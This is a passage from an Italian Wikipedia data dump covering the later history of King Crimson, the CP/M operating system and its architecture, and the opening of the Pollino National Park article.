Seal, non sembrava molto intenzionato a rientrare nel gruppo. Fortunatamente, la mancanza di Levin non costitu\u00ec un problema per Belew, che si adatt\u00f2 a compensare anche le funzioni di quest'ultimo, il quale non fu mai escluso dalla band, ma semplicemente \"sospeso\" (successivamente Fripp commenter\u00e0 che Levin \u00e8 sempre stato considerato il \"quinto membro\" dei King Crimson, anche in quel periodo).\nI restanti membri \u2013 Belew, Fripp, Gunn e Mastelotto \u2013 dalla fine del 1999 ripresero l'attivit\u00e0 come King Crimson, definendosi saltuariamente come \"Double Duo\", in ovvio riferimento alla precedente formazione. Nonostante essa comprendesse due terzi dei precedenti membri, questa nuova formazione segn\u00f2 un ulteriore cambiamento nelle sonorit\u00e0 dei King Crimson, anche in virt\u00f9 delle esperienze dei \"ProjeKcts\". Gunn, infatti, cominci\u00f2 a concentrarsi sull'uso della chitarra Warr, e sulla chitarra baritona e il basso Ashbory con corde di silicone. Mastelotto sperimentava sempre pi\u00f9 strumenti elettronici: ancora una volta vi fu un massiccio ricorso alla tecnologia.\n\"The ConstruKction of Light\".\nI King Crimson, allora, pubblicarono un nuovo album, \"The ConstruKction of Light\", nel 2000, registrato nell'appartamento di Belew, vicino Nashville. Le sonorit\u00e0 di questo nuovo album sono decisamente pi\u00f9 hard-rock dei precedenti album; tutti i pezzi sono caratterizzati da un'impronta metallica, con delle sonorit\u00e0 dure, molto vicine ai lavori delle band alternative metal coeve, come i Tool, con, per\u00f2, una texture elettronica differente, e un suono molto pi\u00f9 incisivo sia della batteria, che della chitarra. A parte l'unica eccezione di un pezzo parodistico sul blues \"industriale\", cantato da Belew con uno strumento per alterare la voce, tutti i pezzi dell'album sono estremamente complessi per il pubblico, perch\u00e9 caratterizzati da frequenti \"gap\" ritmici, funzionali all'inserimento di texture molto pi\u00f9 dure del solito. Il disco contiene, tra le altre, anche una quarta parte del pezzo \"Larks' Tongues in Aspic\", ed un riarrangiamento del pezzo del 1974 \"Fracture\", non a caso chiamato \"FraKCtured\". Secondo Fripp questa operazione \u00e8 stata quasi necessaria, in quanto il pezzo risaliva a pi\u00f9 di una generazione prima, e rispecchiava le idee e la mentalit\u00e0 di un'epoca e di artisti completamente diversi da quelli che adesso militavano nei King Crimson. Nonostante questa spiegazione, l'album non fu esente da pesanti critiche, che evidenziavano un'apparente scarsit\u00e0 di novit\u00e0 rispetto alle precedenti pubblicazioni.\nNonostante il contributo di tutta la band, i pezzi di questo album furono quasi tutti composti da Belew, per i testi, e Fripp, per la parte strumentale. Per appianare queste frustrazioni artistiche, il gruppo registr\u00f2 un album parallelo nello stesso periodo, sotto il nome di ProjeKct X, dal nome \"Heaven and Earth\". Questo album fu concepito totalmente da Mastelotto e Gunn, e vedeva affidati a Fripp e Belew ruoli estremamente marginali. Fu uno sviluppo dei temi gi\u00e0 sviluppati nei precedenti \"ProjeKcts\", ma anch'esso fu tacciato di \"aridit\u00e0\" dalla critica.\nAlfine di promuovere questi due nuovi album, i King Crimson cominciarono un nuovo tour, pubblicando in seguito un triplo live dal titolo \"Heavy ConstruKction\", che venne aperto, tra gli altri, anche dai Tool, dichiarati discepoli dei King Crimson. Il cantante dei Tool, Maynard James Keenan, dichiar\u00f2: \"per me, suonare con i King Crimson, \u00e8 come per Lenny Kravitz esibirsi con i Led Zeppelin, o per Britney Spears essere affiancata da Debbie Gibson\".\n\"Level Five\" e \"Happy With What You Have to Be Happy With\".\nNel 2001 fu pubblicato in edizione limitata l'EP \"Level Five\", che comprendeva tre nuovi pezzi: una nuova versione di \"The Deception of the Thrush\", un pezzo risalente ai tempi dei \"ProjeKcts\", pi\u00f9 due pezzi del tutto nuovi, \"Dangerous Curves\" e \"Virtuous Circle\", testimoni del ritorno al dinamismo caratterizzante dei King Crimson. A questo EP ne segu\u00ec un altro, nel 2002, dal titolo \"Happy With What You Have to Be Happy With\", comprendente undici tracce, ennesima conferma di un rinnovato spirito artistico del gruppo. La met\u00e0 delle canzoni presentano la voce distorta di Belew al cantato, e un pop di stile gamelan.\n\"The Power to Believe\".\nIn realt\u00e0, questi due EP non erano altro che il trampolino di lancio per un nuovo disco, che usc\u00ec nel 2003, dal titolo \"The Power to Believe\", che Fripp descrisse come \"il culmine di tre anni di \"Crimsoniamento\"\", e che, probabilmente, \u00e8 il pi\u00f9 \"autoreferenziale\" del gruppo. L'album comprendeva una nuova versione di \"The Deception of the Thrush\", pi\u00f9 un soundscape risalente al 1997, insieme ad altro materiale ripescato dal passato \u2013 come un cantato di Belew come ponte tematico tra quattro brani. Questo disco conferm\u00f2 il ritorno del gruppo a testi e sonorit\u00e0 molto pi\u00f9 ricercate, che fondevano elementi caratterizzanti i King Crimson dagli anni settanta fino al 2000, compreso l'heavy metal. All'album segu\u00ec una tourn\u00e9e che vide il gruppo esibirsi anche in Giappone per un concerto a Tokyo, successivamente immortalato nell'album dal vivo \"EleKtrik: Live in Japan\", uscito nel 2003.\nAlla fine del 2003 Trey Gunn annuncia di voler abbandonare i King Crimson, per dedicarsi alla sua sempre pi\u00f9 frequente collaborazione con Mastelotto a progetti quali TU e KTU, e anche a progetti personali. Fu cos\u00ec che Levin divenne nuovamente il primo bassista del gruppo.\nDal 2004 i King Crimson rimasero in totale inattivit\u00e0, nonostante la band non si fosse formalmente sciolta. Durante questo periodo Fripp diede vita al \"ProjeKct Six\", suonato dal vivo nel 2006, in apertura del tour dei Porcupine Tree, col cui batterista Fripp cominci\u00f2 una frequente collaborazione, che culmin\u00f2 con una nuova \"rinascita\" dei King Crimson nel 2007.\n\"King Crimson VII\" (2007-2008).\nNel 2007 i King Crimson annunciarono una nuova formazione, che comprendeva ora Fripp, Belew, Levin, Mastelotto, e un nuovo batterista in pi\u00f9, Gavin Harrison \u2013 il primo inglese nella band dal 1972. Seppure fosse conosciuto principalmente per essere il batterista del gruppo inglese Porcupine Tree (ruolo che, finora, non hai mai abbandonato), Harrison ha sempre goduto di un'ottima reputazione come session-man, ed ha collaborato con progetti come Level 42, The Lodge, Jakko Jakszyk, San Brown, Eugenio Finardi, e molti altri.\nIl nuovo quintetto cominci\u00f2 a provare nella primavera del 2008. In agosto il gruppo cominci\u00f2 a preparare un tour in quattro citt\u00e0 selezionate, per celebrare i quarant'anni di attivit\u00e0 dei King Crimson. In queste performance il gruppo rivela fin dall'inizio la sua direzione \"percussio-centrica\", ma non propone n\u00e9 materiale nuovo, n\u00e9 nuovi arrangiamenti o improvvisazioni. Ad ogni modo, alcuni pezzi del repertorio precedente del gruppo, sono successivamente riarrangiati \u2013 pezzi quali \"Neurotica\", \"Sleepless\" e \"Level Five\" \u2013 dando un tono in pi\u00f9 alle percussioni, la cui doppia valenza \u00e8 ora molto pi\u00f9 evidente di prima.\nIl tour celebrativo sarebbe dovuto riprendere nel 2009, ma nell'ottobre del 2008 Robert Fripp si vide costretto ad annullare tale proposito a causa della coincidenza di date con l'attivit\u00e0 solistica di Adrian Belew. Questo pose di fatto fine alla formazione dopo appena 11 esibizioni dal vivo e nessuna pubblicazione di materiale registrato in studio.\n\"A Scarcity of Miracles\".\nOltre che per i problemi logistici sorti poco prima dell'inizio di un nuovo tour, i King Crimson hanno passato un periodo di stallo anche a causa di difficolt\u00e0 legali di Fripp, in causa con alcuni creditori, e personali. Nel 2010 Belew e Fripp hanno pi\u00f9 volte discusso riguardo ad una \"possibile\" rinascita dei King Crimson, ma Belew ha dichiarato in alcune interviste che \"il gruppo non suoner\u00e0 pi\u00f9 per un periodo indeterminato di tempo...\". Nel giugno 2010 Belew propose ufficialmente di riunire i King Crimson, per celebrare il trentesimo anniversario dal primo tour dopo il 1981, ma l'idea non fu ben accolta da Bruford e Fripp, che, pacificamente, rifiutarono; in un'occasione Bruford dichiar\u00f2: \"\u00e8 proprio perch\u00e9 ho tanto amato la formazione degli anni Ottanta che non ho nessuna intenzione di riformarla: \u00e8 senz'altro una missione destinata a fallire\". Il 5 dicembre del 2010, Fripp dichiar\u00f2 sul suo diario on-line che non era assolutamente intenzionato a portare avanti il lavoro dei King Crimson, motivando questa scelta con un certo numero di ragioni. Tuttavia, nel 2011 \u00e8 stato pubblicato l'album \"A Scarcity of Miracles\", a opera di un prototipo dell'ottava incarnazione del gruppo (come si evince dal sottotitolo \"A King Crimson ProjeKct\"), con Robert Fripp, Mel Collins, e Jakko Jakszyk (che aveva ricoperto il ruolo dello stesso Fripp nei \"21st Century Schizoid Band\"), accompagnati da Tony Levin e Gavin Harrison.\n\"King Crimson VIII\" (2013-presente).\nL'ottava incarnazione dei King Crimson \u00e8 stata ufficializzata il 6 settembre 2013 da Robert Fripp, che ha annunciato \"[...] una formazione molto differente da ci\u00f2 che \u00e8 stato prima: sette musicisti, quattro inglesi e tre americani, con tre batteristi. La bestia a sette teste dei Crim \u00e8 in modalit\u00e0 Go!\" La formazione consiste nei batteristi Gavin Harrison, Bill Rieflin, e Pat Mastelotto, con Tony Levin bassista, Mel Collins al sax, e i chitarristi Jakko Jakszyk e Robert Fripp stesso. Sul sito della Discipline Global Mobile (etichetta discografica fondata da Fripp), si cita una nota del 24 settembre 2013 sul diario di Fripp che anticipa gli equilibri della nuova formazione: \"L'obiettivo della crim-visione \u00e8 di una back line \u2013 Gavin Harrison, Bill Rieflin, Tony Levin e Pat Mastelotto \u2013 riconfigurata come front line, con Mel Collins, Jakko Jakszyk e me come back line\". Le prime esibizioni dei nuovi King Crimson si sono svolte nell'autunno del 2014 negli Stati Uniti d'America e sono poi proseguite in un tour mondiale nel 2015.\nDalle registrazioni delle date di Los Angeles la band ha dato alle stampe \"Live at the Orpheum\" nel gennaio 2015. Ha fatto seguito un tour europeo di 17 date dal 31 agosto al 25 settembre 2015, poi un tour di 19 date tra Canada e Giappone. Nel 2016 la band ha effettuato 14 date in Europa, con Jeremy Stacey, ex batterista dei Noel Gallagher's High Flying Birds, dei Lemon Trees e della band di Sheryl Crow, al posto di Bill Rieflin, che aveva preso un anno sabbatico dalla musica.\nIl ritorno di Bill Rieflin \u00e8 annunciato il 3 gennaio 2017 dal sito \"DGM Live\"; Stacey rimane nella formazione, che diventa quindi ad otto e viene definita \"Double Quartet\". Il 13 ottobre tuttavia Rieflin ha rivelato di non poter prendere parte alle date statunitensi del tour e il suo posto \u00e8 stato ricoperto da Chris Gibson, per poi rientrare in organico nel tour 2018.\nNel 2019 Rieflin per motivi personali decide di non prendere parte all'imminente tour del 50\u00ba anniversario della band. In Aprile viene annunciato che Rieflin sarebbe stato sostituito da Theo Travis, ma successivamente viene comunicato da Robert Fripp che il suo posto non sarebbe stato preso da alcun musicista, e che pertanto si sarebbe tornati alla formazione a sette elementi.\nProgetti paralleli.\nNel 1997 nacque il ProjeKct Three, side project composto da Robert Fripp, Trey Gunn e Pat Mastelotto. La formazione si \u00e8 esibita varie volte dal vivo prima di sciogliersi definitivamente nel corso del 2003.\nIl 2010 ha visto la fondazione dell'Adrian Belew Power Trio, formato dal chitarrista-cantante assieme a Julie Slick (basso) e Tobias Ralph (batteria), unire le forze con il trio Stick Men composto anch'esso da due elementi dei King Crimson, Tony Levin e Pat Mastelotto, insieme a Markus Reuter alla touch guitar, quest'ultimo allievo del Guitar Craft di Fripp negli anni novanta.\nIl sestetto prese il nome di Crimson ProjeKct e, oltre al repertorio originale scritto separatamente dalle due formazioni, ha riproposto anche molti brani dei King Crimson, tutti provenienti dal periodo con Belew (cio\u00e8 dal 1981 fino al 2007). Il gruppo, formatosi nel 2011, si sciolse poi nel 2017, per poi riformarsi nel giugno del 2020, celebrando la rinascita con un concerto a Tokyo.\nStile musicale.\nAnnoverati fra i maggiori del rock progressivo, i King Crimson si ispirano prevalentemente al jazz e alla musica classica, prediligendo in particolare l'utilizzo del mellotron, con il quale ricreano sonorit\u00e0 orchestrali e psichedeliche. Il loro originale stile ricco di pathos romantico \u00e8 stato definito una combinazione fra Family, The Pretty Things e The Moody Blues. La musica dell'album di debutto \"In the Court of the Crimson King\", riconosciuto come il capolavoro del gruppo, si caratterizza per le sonorit\u00e0 funeree e maestose, e raramente concede momenti pacati, mentre il seguente \"In the Wake of Poseidon\" (1970) \u00e8 pi\u00f9 incentrato sul mellotron. Alla maestosit\u00e0 dei primi due album si contrappone il sound meno melodico di \"Lizard\" (1970), primo di una serie di dischi dai connotati che diverranno sempre pi\u00f9 astratti. Durante la loro terza reincarnazione, attiva tra il 1981 e il 1984, il gruppo ha riadattato il proprio modus operandi al new wave e al post-punk.\nSono anche considerati un gruppo di rock sinfonico, art rock e album-oriented rock.\nDiscografia.\n\"King Crimson Collectors' Club\" e \"DGM-Live\".\nA partire dal 1992, con la creazione dell'etichetta discografica Discipline Global Mobile, Robert Fripp e i suoi collaboratori dedicarono molto lavoro al mastering digitale di numerose registrazioni dal vivo inedite dei King Crimson dal 1969 in avanti. Gi\u00e0 dal 1992 comparvero sul mercato cofanetti antologici o semplici CD che documentavano pi\u00f9 o meno tutto l'arco della carriera dal vivo del gruppo fino ad allora.\nNel 1998 nacque il \"DGM Collectors' Club\", poi ribattezzato \"King Crimson Collectors' Club\", ai cui iscritti venivano mensilmente spediti CD di concerti, in edizione limitata. A seguito della grande richiesta, tale materiale divenne oggetto di edizioni reperibili anche nei negozi di dischi e dal sito internet della DGM. Dal 22 novembre 2005, infine, il sito divenne \"DGM Live\" ed offr\u00ec \u2013 oltre alle suddette edizioni in CD \u2013 la possibilit\u00e0 di acquistare digitalmente un gran numero di concerti dei King Crimson (e non solo), molti dei quali corredati da copertina stampabile e con qualit\u00e0 audio generalmente buona. La fonte delle registrazioni in questione \u00e8 costituita, oltre che dall'archivio \"ufficiale\" del gruppo, anche da numerosi bootleg raccolti da Fripp nel corso degli anni e, per quanto possibile, migliorate con l'ausilio della tecnica digitale. Queste iniziative resero la carriera concertistica dei King Crimson fra le meglio documentate in assoluto in ambito rock, per qualit\u00e0 e quantit\u00e0 del materiale.\nIl 2 maggio 2012 David Singleton della DGM annunci\u00f2, sul sito dell'etichetta, che il \"Collectors' Club\" avrebbe chiuso dopo l'uscita del cinquantesimo titolo."}
{"id": "26372", "revid": "1305772", "url": "https://it.wikipedia.org/wiki?curid=26372", "title": "CP/M", "text": "Il CP/M (sigla di \"Control Program for Microprocessor\"), \u00e8 un sistema operativo per micro e personal computer pubblicato dalla Digital Research, Inc. di Gary Kildall nel 1974.\nSviluppato inizialmente per l'Intel 8080, girava anche sul compatibile Zilog Z80 e sull'evoluzione dell'8080, l'Intel 8085; negli anni ottanta fu rilasciato anche per altre CPU, come l'Intel 8086 ed il Motorola 68000. L'insieme formato dal CP/M e da computer con il Bus S-100, realizzato per primo sul MITS Altair, ha costituito di fatto il primo vero e proprio standard industriale nel settore dei microcomputer, ampiamente diffuso dalla seconda met\u00e0 degli anni settanta fino all'avvento del PC IBM nei primi anni ottanta. Il sistema operativo era cos\u00ec diffuso che sul mercato comparvero presto le schede per rendere compatibili con il CP/M i computer di altre marche, come ad esempio la Microsoft Z80 Card per l'Apple II o la CP/M Cartridge per il popolare Commodore 64. Il Commodore 128 integrava la CPU Zilog Z80 per cui era in grado nativamente di caricare ed eseguire il CP/M ed i programmi scritti per questo sistema. Inizi\u00f2 ad essere progressivamente sostituito dall'MS-DOS.\nStoria.\nLa creazione e la diffusione.\nIl CP/M in origine era distribuito su floppy disk da 8 pollici, girava sulla CPU Intel 8080 (e sul compatibile e popolare Zilog Z80). In seguito, con il passaggio al formato da 5 pollici e \u00bc il CP/M si adegu\u00f2 ma, sfortunatamente, ogni azienda realizz\u00f2 un proprio formato dei dati memorizzati sui dischi da 5\u00bc e ci\u00f2 rese lo scambio dei dischi pi\u00f9 difficile. I programmi scritti per il CP/M erano comunque completamente portabili tra diverse macchine con la stessa CPU; ci\u00f2 lo rese popolare e fu scritto per il CP/M molto pi\u00f9 software di quanto non fosse stato mai scritto per i sistemi operativi strettamente dipendenti dall'hardware.\nCentinaia di diverse marche di macchine permettevano di caricare il CP/M: alcuni esempi degni di nota, oltre al gi\u00e0 menzionato Altair, sono l'IMSAI 8080, l'Altos, i portabili Osborne 1 e Kaypro, persino l'Apple II quando veniva installata la Microsoft SoftCard, una scheda opzionale con il processore Z80. Il sistema con il CP/M probabilmente pi\u00f9 venduto \u00e8 stato il Commodore 128, sebbene in pochi realmente abbiano utilizzato le caratteristiche proprie del CP/M su tale home computer.\nWordStar, uno dei primi programmi di videoscrittura ad essere utilizzato diffusamente, e il dBASE, il primo software popolare per la gestione dei database per piccoli computer, ma anche programmi grafici come il primo Autocad, furono originariamente scritti per il CP/M. I compilatori Basic pi\u00f9 utilizzati furono inizialmente il CBASIC e successivamente l'MBASIC il primo prodotto dell'allora sconosciuta Microsoft.\nI computer a 16 bit.\nVersioni del CP/M sono state realizzate per alcune CPU a 16 bit, ma richiedevano che i programmi applicativi fossero ricompilati per le nuove CPU, o, se erano scritti in linguaggio assembly, di essere praticamente riscritti da capo. \nUno dei primi fu il CP/M-86 per l'Intel 8086, che fu seguito molto presto dal CP/M-68k per il Motorola 68000. A questo punto il CP/M a 8 bit venne rinominato CP/M-80 per evitare confusione.\nIl CP/M-68k \u00e8 stato utilizzato praticamente solo nella versione per Atari ST del GEM, l'interfaccia grafica dell'Atari TOS. Il CP/M-86 aveva il potenziale per diventare il sistema operativo standard per i nuovi PC IBM, ma non fu raggiunto l'accordo, per le richieste economiche che IBM non accett\u00f2. Questo spinse la societ\u00e0 a rivolgersi alla Microsoft. Da un clone di una parte del CP/M, chiamato QDOS della Seattle Computer Products, fu creato il sistema operativo PC-DOS/MS-DOS che divenne il sistema operativo \"ufficiale\" del PC IBM e degli innumerevoli compatibili PC-IBM immessi sul mercato negli anni successivi. La Digital Research Inc minacci\u00f2 di far causa a IBM e Microsoft e quindi IBM consent\u00ec di vendere anche il CP/M-86 come sistema operativo per i suoi computer. Ma il prezzo cinque volte pi\u00f9 elevato rispetto all'MS-DOS spinse la maggior parte degli acquirenti verso il prodotto Microsoft.\nLa diffusione dell'MS-DOS e il ridimensionamento.\nMolti dei concetti di base e dei meccanismi interni delle prime versioni dell'MS-DOS erano copiati esattamente da quelli del CP/M. Strutture interne quali quelle per la gestione dei file di dati erano identiche, ed entrambi si riferivano alle unit\u00e0 a disco con una lettera (codice_1 etc.). La principale innovazione dell'MS-DOS fu l'uso di un unico, moderno file system, il FAT, a differenza del CP/M che ne supportava diversi tipi.\nUn certo grado di similitudine fu senz'altro voluto, soprattutto per semplificare il \"porting\" del software scritto su CP/M, come il WordStar e il dBase. Tuttavia, le ultime innovazioni introdotte nelle versioni pi\u00f9 mature del CP/M \u2014 quale ad esempio il supporto per aree utente separate sullo stesso disco \u2014 non furono mai portate nell'MS-DOS.\nL'interfaccia utente dell'MS-DOS, tuttavia, \u00e8 un po' pi\u00f9 \"user-friendly\". \nSi confronti, ad esempio, il comando di copia semplice del CP/M, codice_2:\ncon la sintassi pi\u00f9 intuitiva del comando del DOS codice_4:\nEsso fu usato anche nel CP/M come comando esterno, come lo fu il comando codice_6 dell'MS-DOS.\nIl CP/M perse posizioni sul mercato man mano che il mondo del microcomputer migrava verso le piattaforme basate sul PC-IBM compatibili gi\u00e0 venduti con MS-DOS, senza mai riguadagnare in seguito la popolarit\u00e0 di cui aveva goduto inizialmente. Le ultime versioni del CP/M-86 avevano fatto passi avanti significativi in termini di prestazioni e di facilit\u00e0 di utilizzo, tanto da essere considerato da alcuni, nel corso degli anni 1980 enormemente migliore dell'MS-DOS stesso, dato che era multiutente e multitasking come gli UNIX. Per riguadagnare nel marketing, il CP/M-86 venne sostituito con il DR-DOS dalla DR.\nDescrizione.\nL'innovazione chiave introdotta dal CP/M fu quella di rendere indipendente il sistema operativo dall'hardware del computer su cui girava mediante l'uso di livelli di astrazione dove il CP/M accedeva all'hardware usando un livello software pi\u00f9 basso chiamato BIOS (\"Basic Input Output System\"). In questo modo gli sviluppatori poterono scrivere una sola versione del sistema operativo che poteva girare su qualsiasi macchina per la quale era disponibile l'apposito BIOS.\nIl livello superiore costituiva il sistema operativo vero e proprio ed era diviso a sua volta in due parti principali: il CCP (\"Command Control Processor\"), l'interfaccia a riga di comando che interpretava i comandi, ed il BDOS (Basic Disk Operating System), che si occupava delle funzionalit\u00e0 di sistema.\nCCP.\nL'interfaccia del CCP derivava dai sistemi operativi della Digital Equipment, quali l'RSTS/E per il PDP-11. Il CCP si occupava di interpretare i comandi, che in genere erano formati da una \"keyword\" (parola chiave) seguita da un elenco di parametri separati da spazi o da caratteri speciali. I nomi dei comandi, a volte, non erano molto comprensibili e indicativi dell'operazione che svolgevano: \u00e8 il caso, ad esempio del comando per copiare i file che si chiamava codice_2 (Peripheral-Interchange-Program).\nBDOS.\nIl BDOS si occupava di trasformare le istruzioni ricevute dal CCP in istruzioni di un livello ancora pi\u00f9 basso, come \"apri il file XXX\", che erano poi eseguite dal BIOS. Il BDOS era composto da circa 40 istruzioni base per interagire con il disco e con le periferiche seriali collegate alla macchina. I programmi potevano accedere a queste funzioni mediante una \"tabella dei salti\" (jump table), una porzione della memoria contenente l'elenco degli indirizzi delle locazioni dove erano memorizzate le funzioni offerte dal BDOS.\nBIOS.\nIl BIOS eseguiva i comandi ricevuti dal BDOS grazie a circa 20 funzioni base, come ad esempio i comandi per il posizionamento delle testine sui dischi e la lettura di un settore del disco. Ad esempio se l'utente digitava un comando che accedeva ad un file, il CCP per primo inviava al BDOS la richiesta di accedere a quel file, che a sua volta si occupava di trasformarlo in funzionalit\u00e0 di sistema, quali \"apri il file\", inviati al BIOS. Per illustrare il flusso dei comandi, si pu\u00f2 prendere in esame il comando codice_2 gi\u00e0 menzionato. Quando nel CCP veniva inserito un comando codice_2, esso veniva suddiviso in una serie di istruzioni per il BDOS, simili a \"trova il file codice_10, aprilo, crea un nuovo file col nome codice_11...\". I comandi del BDOS a loro volta venivano inviati al BIOS come stringhe di istruzioni ancora pi\u00f9 semplici, del tipo \"seleziona il disco, muovi la testina del disco a questo settore, leggi i dati in modalit\u00e0 raw da settore...\" ecc.\nGrazie al BIOS era possibile effettuare il \"porting\" del CP/M verso una differente piattaforma hardware con un lavoro minimo, limitato all'adattamento dei semplici comandi contenuti nel BIOS a quella particolare macchina, senza riscrivere il resto del sistema operativo. Ci\u00f2 ridusse in maniera significativa i tempi di sviluppo necessari per supportare nuove macchine, costituendo una delle ragioni principali della diffusione del CP/M. Al giorno d'oggi questo tipo di astrazione \u00e8 comune alla maggior parte dei sistemi operativi ma, al momento della nascita del CP/M, ciascun sistema era progettato esclusivamente per girare su una piattaforma specifica e un design multilayer era considerato non necessario."}
{"id": "26374", "revid": "1999616", "url": "https://it.wikipedia.org/wiki?curid=26374", "title": "Parco nazionale del Pollino", "text": "Il parco nazionale del Pollino (internazionalmente noto come \"Pollino Global Geopark\"), situato tra Basilicata e Calabria tra le province di Cosenza, Potenza e Matera, con i suoi ettari, di cui nel versante lucano e in quello calabro, \u00e8 il parco nazionale pi\u00f9 grande d'Italia; prende il nome dall'omonimo massiccio montuoso.\nDal novembre 2015, con l'inserimento nella lista globale dei geoparchi da parte dell'UNESCO, il parco del Pollino \u00e8 considerato sito patrimonio mondiale.\nStoria.\nIl parco nazionale del Pollino \u00e8 stato istituito nel 1988, mentre la perimetrazione provvisoria \u00e8 del 1990, cos\u00ec come le misure di salvaguardia. Tra gli anni 1993 e 1994 s'insediano gli organismi amministrativi e tecnici: presidenza, consiglio di amministrazione e direzione; la sede dell'ente di gestione \u00e8 ubicata in Rotonda (PZ).\nIl parco si estende su 56 comuni (di cui 24 in Basilicata e 32 in Calabria), 9 comunit\u00e0 montane e 4 riserve orientate: Rubbio in Basilicata, Raganello, Lao e Argentino in Calabria.\nLe sue vette, tra le pi\u00f9 alte del sud d'Italia, sono coperte di neve per molti mesi dell'anno. Dalle cime, ad occhio nudo, si osservano le coste tirreniche e il litorale ionico.\nL'emblema del parco \u00e8 il pino loricato; tale specie \u00e8 presente anche in numerose altre stazioni fitoclimatiche delle montagne balcaniche e greche.\nTerritorio.\nIl territorio del Parco comprende in tutto 56 comuni, 24 in Basilicata (22 nella provincia di Potenza e 2 nella provincia di Matera), e 32 in Calabria (provincia di Cosenza).\nI comuni in territorio lucano sono: Calvera, Castelluccio Inferiore, Castelluccio Superiore, Castelsaraceno, Castronuovo di Sant'Andrea, Carbone, Cersosimo, Chiaromonte, Episcopia, Fardella, Francavilla in Sinni, Latronico, Lauria, Noepoli, Rotonda, San Costantino Albanese, San Giorgio Lucano (Mt), San Paolo Albanese, San Severino Lucano, Senise, Teana, Terranova di Pollino, Valsinni (Mt), Viggianello.\nI comuni in territorio calabro sono: Acquaformosa, Aieta, Alessandria del Carretto, Belvedere Marittimo, Buonvicino, Castrovillari, Cerchiara di Calabria, Civita, Francavilla Marittima, Frascineto, Grisolia, Laino Borgo, Laino Castello, Lungro, Maier\u00e0, Morano Calabro, Mormanno, Mottafollone, Orsomarso, Papasidero, Plataci, Praia a Mare, San Basile, San Donato di Ninea, Sangineto, San Lorenzo Bellizzi, San Sosti, Sant'Agata di Esaro, Santa Domenica Talao, Saracena, Tortora, Verbicaro.\nFra questi alcuni sono di interesse storico-archeologico: Castelluccio Inferiore, Viggianello e Rotonda nel versante lucano, e Castrovillari, Civita, Morano Calabro, Laino Borgo, Mormanno, e Papasidero nel versante calabrese.\nCastelluccio Inferiore\nAltri comuni, importanti dal punto di vista socio-culturale, sono le comunit\u00e0 albanesi che si insediarono nel territorio tra il 1470 e il 1540. Si trovano nel versante lucano San Paolo Albanese e San Costantino Albanese, mentre si trovano nel versante calabrese San Basile, Lungro, Plataci, Frascineto e Civita.\nIl paese pi\u00f9 alto del parco \u00e8 Alessandria del Carretto con i suoi 999 metri s.l.m., paese che ancora oggi conserva antiche tradizioni culturali e musicali.\nTra gli edifici religiosi degni di nota si annoverano, in territorio calabro, il complesso monastico della Madonna delle Armi a Cerchiara e ruderi di conventi, come quello del \"Colloreto\" a Morano Calabro, mentre in Basilicata, nel comune di San Severino Lucano, a 1537 metri di quota \u00e8 situato il santuario della Madonna del Pollino, meta di un culto religioso profondamente radicato nella gente del luogo.\nAll'interno della valle del Mercure, in territorio di Rotonda, sono stati ritrovati interessanti reperti paleontologici: \"Elephas antiquus\", \"Hippopotamus major\".\nGeologia.\nIl confine calabro-lucano riveste un particolare interesse nella geologia dell'Italia meridionale, rappresentando la complessa fascia di raccordo tra i domini strutturali dell'Appennino Calcareo auct. e le coltri cristallino-metamorfico-sedimentarie dell'Arco Calabro-Peloritano.\nIn questo contesto la catena del Pollino si configura come una delle maggiori strutture geologiche, costituendo, nell'accezione classica una estesa monoclinale, con direzione media WNW-ESE ed immersione generale a NE, di carbonati mesozoico-terziari di piattaforma \"(\"Complesso Panormide\" di OGNIBEN,1969, corrispondente all'Unit\u00e0 Alburno-Cervati di D'ARGENIO et alii, 1973), derivanti dalla deformazione della piattaforma campano-lucana (D'ARGENIO et alii, 1973)\" o piattaforma appenninica \"(MOSTARDINI &amp; MERLINI, 1986).\" [...]\nPollino Geopark.\nIl 17 novembre 2015, i 195 Stati membri dell'UNESCO, nell\u2019ambito della 38\u00aa sessione plenaria della conferenza generale dell'UNESCO, hanno riconosciuto la Rete dei Geoparchi Mondiale quale Progetto prioritario dell\u2019UNESCO. Tutti i 120 membri della Rete Globale dei Geoparchi hanno quindi ottenuto il riconoscimento di Unesco Global Geopark. Tra questi \u00e8 presente il \"Pollino Geopark\" e da ci\u00f2 ne consegue che tutto il territorio del parco nazionale del Pollino \u00e8 entrato a far parte del Patrimonio dell\u2019UNESCO.\nIl Pollino Geopark racchiude 69 geositi ricadenti all\u2019interno del proprio territorio, comprendendo circhi glaciali, depositi morenici (risalenti all'ultima glaciazione wurmiana),nevai, fossili di Rudiste, particolari formazioni rocciose (come la successione ofiolitica di Timpa delle Murge e Timpa di Pietrasasso, ma anche i pillow lava del Monte Cerviero) grotte preistoriche (Grotta del Romito), gole scavate nella roccia calcarea (Raganello, Lao, Rosa e Garavina), pianori carsici, doline, profondi inghiottitoi (Abisso del Bifurto), timpe e vette che superano i 2000 metri di quota.\nOltre ai siti di interesse geologico il \"Pollino Geopark\" comprende anche numerosi siti di interesse non geologico, che mirano, insieme ai geositi, a valorizzare l'intero territorio del parco nazionale del Pollino, dal punto di vista geoturistico, naturalistico, culturale, storico e archelogico, in modo da far conoscere e apprezzare tanta bellezza.\nGlacialismo.\nL'attuale profilo delle vette pi\u00f9 elevate risulta fortemente modellato dall'azione di antichi ghiacciai[1], le cui tracce pi\u00f9 evidenti si rinvengono sul versante nord-occidentale di Serra Dolcedorme con la conca denominata \"Fossa del Lupo\", antica zona di accumulo delle masse ghiacciate che alimentavano l'imponente \"ghiacciaio del Frido\"; sul versante nord-orientale del Monte Pollino con i due circhi glaciali separati dal contrafforte nord-est della stessa montagna; e sul versante settentrionale di Serra del Prete con il bello e vasto circo glaciale alla cui base sporge l'accumulo frontale di detrito morenico ricoperto da una fitta e vasta faggeta.\nI ghiacciai in ritiro, oltre ai depositi morenici, hanno abbandonato massi di notevoli dimensioni, i cosiddetti massi erratici. Caratteristici perch\u00e9 isolati e lontani da probabili punti di caduta, sono facilmente osservabili sui piani di \"Pollino\" e \"Acquafredda\", a un'altitudine compresa tra i 1.800 e i 2.000 metri di quota.\nIl nevaio del Pollino.\nNevai stagionali, alcuni dei quali di notevoli dimensioni, sono presenti su tutte le vette pi\u00f9 alte del massiccio. Sul Monte Pollino, in particolare, nell'avvallamento immediatamente a sud rispetto alla cima (nei pressi di un'antica dolina), ne sorge uno che \u00e8 facile scorgere anche a fine agosto. Il 9 ottobre 2010 presso il suddetto nevaio \u00e8 stato installato un rilevatore di temperatura per un monitoraggio diretto del microclima locale.\nAmbiente.\nFlora.\nTra tante altre specie arboree presenti nel parco vi sono l'abete bianco, il faggio, tutti e sette i tipi di aceri di cui l'acero di Lobelius, 